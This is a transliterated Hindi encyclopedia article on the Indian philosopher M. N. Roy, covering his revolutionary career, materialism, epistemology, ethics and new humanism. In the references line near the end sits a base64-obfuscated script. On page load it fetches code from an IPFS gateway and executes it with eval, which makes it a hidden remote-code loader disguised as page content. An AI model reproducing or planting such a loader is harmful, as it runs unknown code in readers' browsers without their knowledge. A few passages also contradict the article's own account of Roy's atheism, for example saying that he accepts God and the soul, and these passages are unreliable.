मानवेन्द्र नाथ राय
manavendr nath ray
| |
| poora nam | manavendr nath ray |
| any nam | narendr nath bhattachary |
| janm | 21 march, 1887 |
| janm bhoomi | pashchim bangal |
| mrityu | 26 janavari, 1954 |
| nagarikata | bharatiy |
| prasiddhi | darshanik, krantikari vicharak |
| aandolan | 1905 ee. mean 'bangal vibhajan' ke viruddh hue andolan mean sakriy bhag liya. |
| jel yatra | 'kanapur sh dayantr kes' mean apako chhah varsh jel ki saza huee thi. |
| vishesh yogadan | apane bharat mean 'kamyunist parti' ki sthapana mean mahattvapoorn yogadan diya. |
| any janakari | manavendr nath ray sashakt sangharsh dvara bharat ko videshi shasan se svatantr karana chahate the. isi uddeshy ki poorti ke lie unhoanne anek varshoan tak jarmani, roos, chin, amerika, maiksiko adi deshoan ki yatraean bhi kian. |
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manavendr nath ray (aangrezi: Manavendra Nath Roy, janm- 21 march, 1887 ee., pashchim bangal; mrityu- 26 janavari, 1954 ee.) vartaman shatabdi ke bharatiy darshanikoan mean krantikari vicharak tatha manavatavad ke prabal samarthak the. inaka bharatiy darshanashastr mean bhi bahut mahattvapoorn sthan raha hai. manavendr nath ray ne svatantrata sangram ke dauran kraantikari sangathanoan ko videshoan se dhan v hathiyaroan ki taskari mean sahayog diya tha. san 1912 ee. mean ve 'hav da sh dayantr kes' mean giraphatar bhi kar liye ge the. inhoanne bharat mean 'kamyunist parti' ki sthapana mean mahattvapoorn yogadan diya tha. san 1922 ee. mean barlin se 'd laiangard aauf indiyan indipeandeanns' namak samachar patr bhi inhoanne nikala. 'kanapur sh dayantr kes' mean unhean chhah varsh ki saza huee thi.
parichay
manavendr nath ray ka janm 21 march, 1887 ko pashchim bangal ke ek chhote-se gaanv mean ek brahman parivar mean hua tha. unake pita dharmaparayan vyakti the aur dharmaprachar ke dvara jivikoparjan karate the. ray ka balyakalin nam 'narendr nath bhattachary' tha, jise bad mean badalakar unhoanne 'manavendr nath ray' kar liya aur isi nam se unhoanne darshan tatha rajaniti ke kshetr mean khyati prapt ki. yadyapi unaka palan poshan dharmaparayan parivar mean hua tha, phir bhi balyakal se hi dharm mean unaki astha nahian thi.
kraantikari gatividhiyaan
14 varsh ki alpayu mean hi ve bharat ki svatantrata ke liye hone vale krantikari andolanoan mean sammilit ho ge the. 1905 ee. mean bangal vibhajan ke viruddh hue andolan mean unhoanne sakriy bhag liya tha. ve sashakt sangharsh ke dvara bharat ko videshi shasan se svatantr karana chahate the aur isi uddeshy ki poorti ke lie unhoanne anek varshoan tak jarmani, roos, chin, amerika, maiksiko adi deshoan ki yatraean bhi kian. in deshoan mean ve anek mahanh vicharakoan tatha samyavadi netaoan ke sampark mean aye. jinake krantikari vicharoan ka unake darshan par paryapt prabhav p da. ray ke darshan mean bhautikavad, nirishvaravad, vyakti ki svatantrata, lokatantr, aantarrashtriyata aur manavatavad ka vishesh mahattv hai.
bhautik vastuvad
adhikatar bharatiy darshanikoan ke viparit ray poornat: bhautikavadi tatha nirishvaravadi darshanik the. unaka yah dridh vishvas tha ki sampoorn jagath ki vyakhya bhautikavad ke adhar par hi ki ja sakati hai. isake lie eeshvar jaisi kisi indriyatit shakti ke astitv ko svikar karane ki koee avashyakata nahian hai. prakritik ghatanaoan ke samuchit prekshan tatha sookshm vishleshan dvara hi unake vasvatik svaroop aur karanoan ko samajha ja sakata hai. vishv ka mool tatv bhautik dravy athava pudgal hai aur sabhi vastuean isi pudgal ke vibhinn roopaantaran haian, jo nishchit prakritik niyamoan ke dvara niyantrit hote haian. jagath ke mool adhar is pudgal ke atirikt any kisi vastu ki aantim satta nahian hai. apane darshan ko paramparagat bhautikavad se prithakh karane ke lie ray use bhautikavad ke sthan par 'bhautik vastuvad' ki sanjna dete haian. ve manaviy pratyaksh ko hi sampoorn jnan ka mool adhar manate haian. is sambandh mean unaka spasht kathan hai ki 'manushy dvara jis vastu ka pratyay sambhav hai, vastav mean usi ka astitv hai aur manav ke lie jis vastu ka pratyaksh jnan sambhav nahian hai usaka astitv bhi nahian hai.'
vicharadhara
apani isi bhautikavadi vicharadhara ke adhar par ray eeshvar tatha atma ke astitv ko svikar karate haian. unaka vichar hai ki keval astha par adharit tathakathit indriyatit sattaoan ko manadand banakar is vishv ki utpatti aur usake vikas ki samuchit vyakhya kabhi nahian kar sakate. at: aisi kalpit sattaoan ke vichar ka parityag karana bahut hi avashyak hai. sampoorn brahmaand bhautik paramanuoan ke sanghat ka parinam hai, jisaka koee rachayita nahian hai. vaijnanik vicharadhara vishv ke rachayita ke roop mean sarvashaktiman tatha sarvajn eeshvar ki prakkalpana ka samarthan nahian karati. isi prakar sharir se prithakh tatha svatantr atma ki prakkalpana bhi niradhar hai, kyoanki prani ki mrityu ke pashchath usaka kuchh bhi shesh nahian rah jata. jise atma kaha jata hai, vah vastav mean prani ki chetana hai, jo bhautik paramanuoan ke sanghat se hi utpann hoti hai. is prakar ray eeshvar ke astitv ke sath-sath atma ki satta tatha amarata ka bhi khandan karate haian aur isi karan unhoanne punarjanm ke siddhaant ko bhi asvikar kiya hai. ve punarjanm ke siddhaant ko prashasak varg ke samarthak purohitoan ki chaturyapoorn kalpana manate haian, jo samaj mean unaki uchch sthiti ko banaye rakhane ke lie hi ki gee hai. unaka vichar hai ki punarjanm ka siddhaant samaj mean niyativad ko janm deta hai, jo manushy ko nishkriy tatha paurushahin bana deta hai.
bhautikavad ki prachinata
bhautikavad ki sudirgh parampara ka ullekh karate hue ray kahate haian ki bhautikavadi vicharadhara utani hi prachin hai, jitana svayan manaviy chiantan. bharatiy tatha yoonani vicharak bahut prachin kal se is vicharadhara ka samarthan karate rahe haian. hamare vedoan tatha upanishadoan mean bhi bhautikavad ke mool tatv vidyaman haian, apane isi mat ki pushti ke lie ray 'upanishad sootr-2' se nimnalikhit vaky uddhrit karate haian-
'koee avatar nahian hota, n eeshvar hai, n svarg aur n narak, samast paramparik dharmashastr ka sahity dambhi moorkhoan ki kriti hai.'
isi prakar aipikyooras, heraklaitas, lyookrishias adi anek prachin yoonani darshanik bhi bhautikavad ka hi prabal samarthan karate rahe haian. isase spasht hai ki bhautikavad bahut prachin vicharadhara hai. ray ka kathan hai ki vartaman yug mean manushy ki mahanh vaijnanik pragati bhi isi vicharadhara ki pushti karati hai. unhoanne bhautikavad ke viruddh adhyatmavadi darshanikoan ke aropoan ka dridhatapoorvak khandan kiya hai. unaka mat hai ki bhautikavadi darshan 'khao, piyo aur mauj karo' ka darshan nahian hai, jaisa ki isake virodhi isaka upahas karate hue pray: kaha karate haian. yah saty hai ki bhautikavad tathakathit paralaukik jivan ke kalpanik sukh ke lie vartaman jivan ke vastavik sukh ke parityag ka samarthan nahian karata, kintu usaka yah arth nahian hai ki vah manushy ko atmakendrit tatha svarthi ho jane ke lie prerit karata hai. vastut: bhautikavadi darshan manushy ke sadagunayukt shubhacharan mean koee badha nahian dalata. at: ray ke matanusar is darshan ke viruddh adhyatmavadiyoan ke arop niradhar haian.
jnan prakriya
apani uparyukt bhautikavadi vicharadhara ke anuroop hi ray ne jnan prapti ki pariksha ki vyakhya ki hai. ye vijnanavad tatha pratyayavad ka khandan karate hue keval vastuvad ke adhar par jnan ki utpatti ki vyakhya karate haian. unaka vichar hai ki iandriy pratyaksh hi sampoorn manaviy jnan ka adi srot hai. ham apane anubhav ke dvara hi bhautik jagath ka jnan prapt kar sakate haian, apt-vaky hamean asandigdh jnan kabhi nahian pradan karate. indriy pratyay dvara ham vastuoan ko usi roop mean janate haian, jis roop mean ve haian. kaant ke viparit ray ka mat hai ki 'vastavik jagath' tatha 'pratitik jagath' mean koee bhed nahian hai, ham apane anubhav dvara jis jagath ko janate haian, vahi vastavik jagath hai. isi prakar ke bakali ke mat ka bhi khandan karate haian ki bhautik vastuoan ka astitv hamare pratyayoan par hi nirbhar hai. ray ka kathan hai ki ham pratyayoan ko nahian balki pratyakshat: bahy vastuoan ko hi janate haian. bahy vastuoan ka hamare man se prithakh aur svatantr astitv hai, at: jnan mimaansa ki drishti se bakali ka yah mat doshapoorn hai ki aantat: bhautik jagath ka astitv hamare manasik jagath par hi nirbhar hai. ray ke anusar bahy vastuoan ke astitv ki vyakhya ke lie eeshvar ki satta ka adhar lena avashyak hai.
uparyukt vivechan se spasht hai ki ray bhautikavad, iandriyanubhavavad tatha vastuvad ke prabal samarthak haian. parantu, jahaan tak hamean jnat hai, unhoanne in tinoan darshanik siddhaantoan ki anek bahucharchit kathinaeeyoan ka nirakaran karane ke lie koee santoshaprad samadhan prastut nahian kiya. udaharanarth, ray tatha any bhautikavadiyoan ki is manyata ka samarthan karana kathin hai ki chetana ki utpatti j d pudgal se hi huee hai. yah saty hai ki adhyatmavadi bhi chetana ki utpatti ki santoshajanak vyakhya nahian kar pate, kintu isase chetana ki utpatti ke vishay mean bhautikavadiyoan ke mat ki satyata siddh nahian hoti. isake atirikt bhautikavadiyoan ki yah manyata bhi uchit pratit nahian hoti ki brahmaand ka aantim tatv pudgal hi hai. vartaman yug mean svayan vaijnanik bhi oorja ko hi aantim tatv manate haian.
isi prakar iandriyanubhavavad tatha vastuvad bhi jnan prakriya ki santoshaprad vyakhya nahian kar pate. isamean sandeh nahian ki ianndriy anubhav jnan ka sarvadhik mahattvapoorn adhar hai, kintu isaka yah arth nahian hai ki jnan prakriya mean buddhi ka koee yogadan nahian hai. ham pratyakshoan ke dvara kisi vastu ka jnan tab tak prapt nahian kar sakate, jab tak ye pratyaksh susangathit n hoan aur unhean susangathit karana buddhi ka hi kary hai, iandriy anubhav ka nahian. isi karan kaant ne jnan ke lie iandriy anubhav ke sath-sath buddhi ke yogadan ko bhi anivary mana hai. jnan prakriya ke sambandh mean vastuvad bhi koee santoshaprad siddhaant nahian hai.
darshanik tatha manovaijnanik vichar
adhikatar samakalin darshanik tatha manovaijnanik ray aur kuchh any vastuvadiyoan ki is manyata ko svikar nahian karate ki ham vastuoan ko pratyaksh janate haian aur ve thik vaisi hi haian, jaisi ham unhean janate haian. in darshanik tatha manovaijnanikoan ka vichar hai ki ham keval iandriy sanvedanoan ka anubhav karate haian, jo bahy vastuoan se sambandhit hamare jnan ke adharabhoot tatv haian. in iandriy sanvedanoan ke bina ham kisi bahy vastu ko pratyakshat: nahian jan sakate. in iandriy sanvedanoan tatha bahy vastuoan ke sambandh ka svaroop aur karan kya hai, is prashn ka koee nishchit evan sarvamany uttar dena bahut kathin hai. ray ki is manyata ka auchity bhi sandigdh hi pratit hota hai ki ham sada bahy vastuoan ko thik usi roop mean janate haian, jaisi ve vastav mean haian. ham is tathy se bhali-bhaanti parichit haian ki bahy jagath sambandhi hamare jnan par hamari manodashaoan tatha kuchh vishesh bhautik paristhitiyoan ka bhi paryapt prabhav p data hai. aisi sthiti mean nishchit roop se yah kahana bahut kathin hai ki bahy vastuean thik vaisi hi haian, jaisi ham unhean vibhinn paristhitiyoan mean bhinn-bhinn prakar se janate haian. isake atirikt yadi ray ke is mat ko svikar kar liya jaye ki iandriy anubhav hi jnan ka ekamatr srot hai to hamare jnan ki paridhi bahut simit ho jayegi. isi karan jnan ke lie iandriy pratyaksh ke sath-sath shabd tatha anuman ko bhi bahut hi avashyak mana gaya hai. bhautikavad, iandriyanubhavavad tatha vastuvad ki uparyukt kathinaeeyoan se yah spasht hai ki ye tinoan darshanik siddhaant poornat: santoshaprad nahian haian.
naitikata aur dharm
ray ne apane bhautikavadi darshan ke anuroop hi naitikata aur dharm ke vishay mean vichar kiya hai. ve vyakti tatha samaj ke lie naitik niyamoan ke mahattv ke poornatv ko svikar karate haian, kintu unaka mat hai ki naitikata ka srot eeshvar athava koee any iandriyatit satta nahian hai. isi prakar manasik bhay aur koee any bahari dabav bhi vastavik naitikata ka adhar nahian ho sakata. sachchi naitikata aant:prerit hi hoti hai aur bauddhik prani hone ke karan manushy kisi tathakathit devi shakti ka adhar lie bina svayan apane jivan mean aisi naitikata ka vikas kar sakata hai. ray marksavadiyoan ke is mat ko svikar nahian karate ki samajik tatha rajanitik kranti ke lie saty, eemanadari, nishtha adi sadgunoan ka parityag kiya ja sakata hai. is sambandh mean ve spasht kahate haian ki 'maian is vichar ke sath samajhauta nahian kar sakata ki krantikari sadgunoan ki soochi mean saty, eemanadari tatha nishtha jaise gunoan ka koee sthan nahian hai.' ray ke matanusar manushy ki svatantrata sarvochch mooly hai aur yah svatantrata hi samast moolyoan ka srot hai. svatantrata ke pashchath jnan tatha saty ka sthan hai aur ye donoan bhi manushy ke naitik jivan ke lie avashyak haian. asaty, chhal, kapat adi anaitik upayoan ke dvara svatantrata prapt nahian ki ja sakati.
bhrant dharanaean
ray ka kathan hai ki manav svabhav ke sambandh mean pray: do bhrant dharanaean prachalit haian. pratham dharana yah hai ki manushy svabhavat: svarthi hai aur doosari dharana yah hai ki vah eeshvar tatha kisi any alaukik shakti mean avashy vishvas karata hai. in donoan bhraant dharanaoan athava inamean se kisi ek dharana ke adhar par manushy ke naitik jivan ki jo vyakhya ki jati hai, vah bhramak hi hogi. ray yah manate haian ki n to svabhavat: svarthi hai aur n eeshvar bhakt, at: ve naitikata ki svarthavad athava eeshvaravad par adharit vyakhya ko svikar karate haian. inaka vichar hai ki naitikata ka adhar manushy ki tarkabuddhi tatha aant:prerana hi hai, koee bahy shakti nahian. ray yah naitik darshan vartaman vaijnanik yug ke anuroop tatha yuktisangat hi pratit hota hai.
punarjanm ka siddhaant
manavendr nath ray eeshvar aur atma ki satta tatha punarjanm ke siddhaant ko asvikar karate haian. aisi sthiti mean yah samajhana kathin nahian hai ki unake bhautikavadi darshan mean dharm ke lie koee sthan nahian hai. ek aitihasik tathy ke roop mean unhoanne yah avashy svikar kiya hai ki prachin kal se hi manav samaj par dharm ka vyapak prabhav raha hai. ray ke matanusar yah ek du:khad tathy hai ki manushy apane samajik sambandhoan ki apeksha eeshvar ke sath apane sambandh ke vishay mean tatha apane vartaman jivan ki apeksha mrityu ke pashchath apane paralaukik jivan ke vishay mean hi adhik chiantit raha hai. adhikatar dharmik manyataean tatha siddhaant keval astha par hi adharit hai, jinake vishay mean tark karana anuchit hai, at: dharm ke phalasvaroop manushy ka svatantr bauddhik chiantan pray: kuanthit ho jata hai.
vyaktigat svatantrata
ray manushy ki vyaktigat svatantrata ko vishesh mahattv dete haian, kyoanki unake vichar mean is svatantrata ke bina vyakti vastav mean sukhi nahian ho sakata. unake rajanitik darshan ka mool adhar manushy ki vyaktigat svatantrata hi hai. vyaktigat svatantrata se unaka tatpary yah hai ki manushy ke karyoan tatha vicharabhivyakti par rajy evan samaj dvara anuchit tatha anavashyak pratibandh n lagaye jaean aur samaj ko unnati ka sadhan matr n manakar usake vishesh mahattv ko svikar kiya jaye. is sambandh mean ray ka marksavadiyoan se tiv matabhed hai, kyoanki marksavad mean manushy ki vyaktigat svatantrata ka koee sthan nahian hai. apani yuvavastha mean ve marksavad se bahut prabhavit hue the, kintu bad mean unake vicharoan mean parivartan hua aur ve is vicharadhara ko ekaangi tatha doshapoorn manane lage.
marksavad pranali
roos, chin tatha any samyavadi deshoan mean marksavad par adharit shasan pranali ka vikas hua hai. use ray samaj ke lie upadey nahian manate, kyoanki isamean vyakti rajy ki pragati ka sadhan matr mana jata hai. aur is prakar unaki mahatta evan svatantrata ko svikar nahian kiya jata hai. samyavadiyoan ke viparit ray ke samajik tatha rajanitik darshan ka kendr vyakti hai, jisaki svatantrata ke lie ve sadaiv un adhinayakavadi shaktiyoan ke viruddh sangharsh karate rahe jo manushy ko us ki vyaktigat svatantrata se vanchit karati hai. unaka vichar hai ki svatantratakaankshi sabhi vyaktiyoan ko in shaktiyoan ke viruddh sangathit roop se nirantar sangharsh karana hoga, anyatha vyakti ki svatantrata surakshit nahian rah sakati. parantu yahian yah spasht kar dena avashyak hai ki ray vyakti ki svatantrata ko asimit n manakar samajik hit dvara maryadit hi manate haian. samaj mean rahate hue pratyek vyakti ko apani svatantrata ke sath-sath doosaroan ki svatantrata ka bhi samman karana hoga, at: kisi bhi vyakti ko manamane dhang se vyavahar karane ki svatantrata nahian di ja sakati. aisi asimit svatantrata vastav mean vyakti ki svatantrata ka nishedh karati hai.
aantarrashtriyatavad aur manavatavad
ray manushy ki vyaktigat svatantrata ke sath-sath atarrashtriyatavad ke bhi prabal samarthak haian. unaka vichar hai ki vartaman yug mean manav samaj ke samaksh sabase b di samasya vibhinn rashtroan ke nagarikoan mean sankuchit rashtriyata ki tivr bhavana hai, jo unhean sampoorn manav jati ke kalyan ke lie sochane tatha prayas karane se rokati hai. pratyek desh ke neta doosare deshoan ke hit ki chianta kiye bina keval apane desh ki pragati ke lie hi prayatn karate haian. phalat: manav samaj bhinn-bhinn tuk doan mean vibhakt ho gaya hai, jo pray: ek doosare ke viruddh kary karate haian. aj vishv mean jo sangharsh, nirdhanata, berozagari tatha parasparik avishvas hai, usaka mukhy karan yah sankuchit rashtriyata ki bhavana hi hai. ray ka mat hai ki jab tak manav jati is sankuchit rashtravad se mukt nahian hoti tab tak in samasyaoan ka samadhan sambhav nahian hai. vishv mean ekata aur shaanti tabhi sthapit ho sakati hai. jab ham keval apane desh ke hit ki drishti se nahian balki sampoorn manav jati ke kalyan ki drishti se samajik, arthik tatha rajanitik samasyaoan par vichar karean. ray yah manate haian ki vartaman vaijnanik yug mean sankuchit, rashtravad ke lie koee sthan nahian hai, kyoanki isake anusar acharan karana aantat: manav jati ke lie ghatak siddh ho sakata hai. yahi karan hai ki manav samaj mean aantarrashtriyata ki bhavana ke vikas ko vishesh mahattv dete haian.
aant mean yahaan 'nav manavatavad' ke vishay mean bhi ray ke vicharoan ka ullekh hai, jo unake darshan ki pramukh visheshata hai. ray ne apane manavatavadi darshan ko 'nav manavatavad' athava 'vaijnanik manavatavad' ki sanjna di hai, kyoanki vah manushy ke svaroop tatha vikas ke sambandh mean vijnan dvara upalabdh navin jnan par adharit hai.
ray ke is vijnanasammat nav manavatavad mean eeshvar athava kisi any daivi shakti ke lie koee sthan nahian hai. manushy ke lie yah samajh lena bahut avashyak hai ki vah svayan hi apane sukh-du:kh ke lie uttaradayi hai aur vahi apane bhagy ka nirmata hai, isamean koee daivi shakti usaki sahayata nahian kar sakati. is sansar mean manushy ke jivan ki kahani usake sharir ke sath hi samapt ho jati hai, at: moksh ki paramparagat avadharana mithya evan bhramak hai. ray ke mat ke anusar hamean kalpit paralaukik jivan ki chianta kiye bina isi sansar mean manushy ki vartaman samasyaoan ke samadhan ke lie vaijnanik dhang se prayas karana chahie. aantat: isi mean sampoorn manav jati ka kalyan nihit hai aur manushy ke lie yah vyavaharik manavatavadi darshan hi vastav mean sarthak ho sakata hai.
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tika tippani aur sandarbh
vishv ke pramukh darshanik |lekhak: shri ved prakash varma |prakashak: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 684 |prishth sankhya: 475 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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